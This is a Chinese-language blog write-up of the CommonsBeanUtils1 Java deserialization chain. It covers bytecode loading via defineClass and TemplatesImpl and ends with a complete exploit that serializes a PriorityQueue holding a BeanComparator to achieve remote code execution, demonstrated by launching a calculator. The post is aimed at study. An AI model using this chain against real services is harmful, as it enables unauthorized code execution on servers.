CB1链分析

CB1 链

Java中动态加载字节码 (from P牛)

字节码通俗来讲就是class文件里的内容,指的是java虚拟机执行使用的一类指令,被jvm解释执行,也是java能够到处运行的一个关键东西了.
甚至,开发者可以用类似Scala,Kotlin这样的语言编写代码,只要你的编译器能够将代码编译成.class文件,都可以在JVM虚拟机中运行,也就是不仅仅是java代码编译后生成的class,其他语言也可通过生成字节码然后被JVM解释执行

利用URLclassLoader 加载远程class 文件

本文要说的是 URLClassLoader ,这个实际上是我们平常默认使用的APPClassLoader的父类,所以我们解释URLClassLoader的工作过程实际上就是在解释默认的java类加载器的工作流程
其中:

  • loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
  • findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
  • defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class hello{

    public hello() {

        // Constructor

        System.out.println("This is the constructor of the hello class.");



    }

    public static void main(String[] args) {

        System.out.println("This is the main method of the hello class.");

    }

}
1
2
3
javac hello.java #编译得到一个class文件
 java -cp . hello # 主动运行发现调用的是main方法
This is the main method of the hello class.

接下来我们起一个http服务即可,然后再利用urlclassloader加载远程class文件
发现调用的是无参构造器而不是main方法~

利用ClassLoader#defineClass 直接加载字节码

URLClassLoader 是继承ClassLoader类的我们考虑直接用它的defineclass方法加载字节码,将前面的那个class二进制内容进行base64编码
protected方法无法直接被调用,考虑反射调用即可

1
2
3
4
5
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class,byte[].class, int.class, int.class);  
defineClass.setAccessible(true);
byte[] code=Base64.getDecoder().decode("yv66vgAAADQAHwoABwAQCQARABIIABMKABQAFQgAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAClNvdXJjZUZpbGUBAApoZWxsby5qYXZhDAAIAAkHABkMABoAGwEAK1RoaXMgaXMgdGhlIGNvbnN0cnVjdG9yIG9mIHRoZSBoZWxsbyBjbGFzcy4HABwMAB0AHgEAK1RoaXMgaXMgdGhlIG1haW4gbWV0aG9kIG9mIHRoZSBoZWxsbyBjbGFzcy4BAAVoZWxsbwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAGAAcAAAAAAAIAAQAIAAkAAQAKAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACwAAAA4AAwAAAAIABAAEAAwABgAJAAwADQABAAoAAAAlAAIAAQAAAAmyAAISBbYABLEAAAABAAsAAAAKAAIAAAAIAAgACQABAA4AAAACAA8=");
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "hello", code, 0, code.length);
hello.newInstance();

运行后的结果还是输出了This is the constructor of the hello class.也是只会调用默认的无参构造器所以我们想要使用defineClass 在目标机器上执行任意代码,需要想办法去调用构造函数

利用TemplatesImpl加载字节码

直接调用defineClass是不行的,那么看看有没有其他调用了它的类,这就是TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 定义了一个内部类 TransletClassLoader 重写了defineClass方法

1
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

其中 getOutputProperties() 是public 方法,我们可以直接调用而不需要反射写个poc测试一下~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
        byte[] code=Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");  

// Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "hello", code, 0, code.length);
// hello.newInstance();
// TemplatesImpl 调用 defineClass 加载
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][]{code});
setFieldValue(obj,"_name","HelloTemplatesImpl");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
obj.newTransformer();

}
public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,fieldValue);
}

这里的code不能是任意的code,TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类,因此我们需要构造一个特殊的类:
HelloTemplatesImpl.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package exp;  

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class HelloTemplatesImpl extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
public HelloTemplatesImpl(){
super();
System.out.println("HelloTemplatesImpl 的构造方法被调用,字节码成功加载~");
}
}

CommonsBeanUtils1 反序列化漏洞

  • 环境: jdk8 即可

  • cb版本小于1.9.2

  • 本质是调用任意的getter方法实现任意代码执行,后半段由cc4的前半段替换,通过动态加载 TemplatesImpl字节码实现rce TemplatesImpl#getOutputProperties()

codeql找到该类中调用该方法的有个compare方法
然后java.util.PriorityQueuesiftDownUsingComparator方法多次使用了compare方法并且能够被序列化!
注意其中的siftUpUsingComparator 找不到出口,虽然也调用了compare

然后 本类中的 siftDown 调用了siftDownUsingComparator方法,最终由找到本类中heapify方法调用前者,且该heapify方法可以在本类中的readObject中被触发

CB1 EXP编写

先写一个能生成恶意的字节码类
然后运行生成class文件,写这个main方法就是为了通过idea来编译生成class文件,虽然触发getter方法的时候肯定不会触发main函数.

这里在静态代码块和无参构造器里写恶意代码都会被执行!

然后直接调用getter方法触发,能够正常弹出计算机,说明后半段是可行的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
        byte[] code = Files.readAllBytes(Paths.get("F:\\Main-Sec\\JavaSec\\code\\cb1\\target\\classes\\exp\\TemplatesBytes.class"));  

// Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "hello", code, 0, code.length);
// hello.newInstance();
// TemplatesImpl 调用 defineClass 加载
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][]{code});
setFieldValue(obj,"_name","TemplatesBytes");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
obj.newTransformer();

}
public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,fieldValue);
}

分析分析这个compare的触发
offer方法里只要size大于等于2就会触发siftUp方法进而触发compare方法
最终EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package exp;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cb1 {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("F:\\Main-Sec\\JavaSec\\code\\cb1\\target\\classes\\exp\\TemplatesBytes.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][]{code});
setFieldValue(obj,"_name","Calc");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
// obj.newTransformer();
BeanComparator beanComparator = new BeanComparator(); //构造恶意的queue,通过add方法触发compare
beanComparator.setProperty("outputProperties");
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
// 序列化时防止直接调用compare方法,先add两个空间出来,add两次就会进行一次compare
// queue.add(1);
// queue.add(1);
//反射修改private变量
setFieldValue(queue,"size",2);
setFieldValue(queue,"queue",new Object[]{obj,obj});//添加两个恶意的
serialize(queue);
unserialize("ser.bin");

}
public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,fieldValue);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}

这条链子还是比较短的,挺简单的,但是还是熟悉了通过动态加载恶意字节码的方法实现RCE!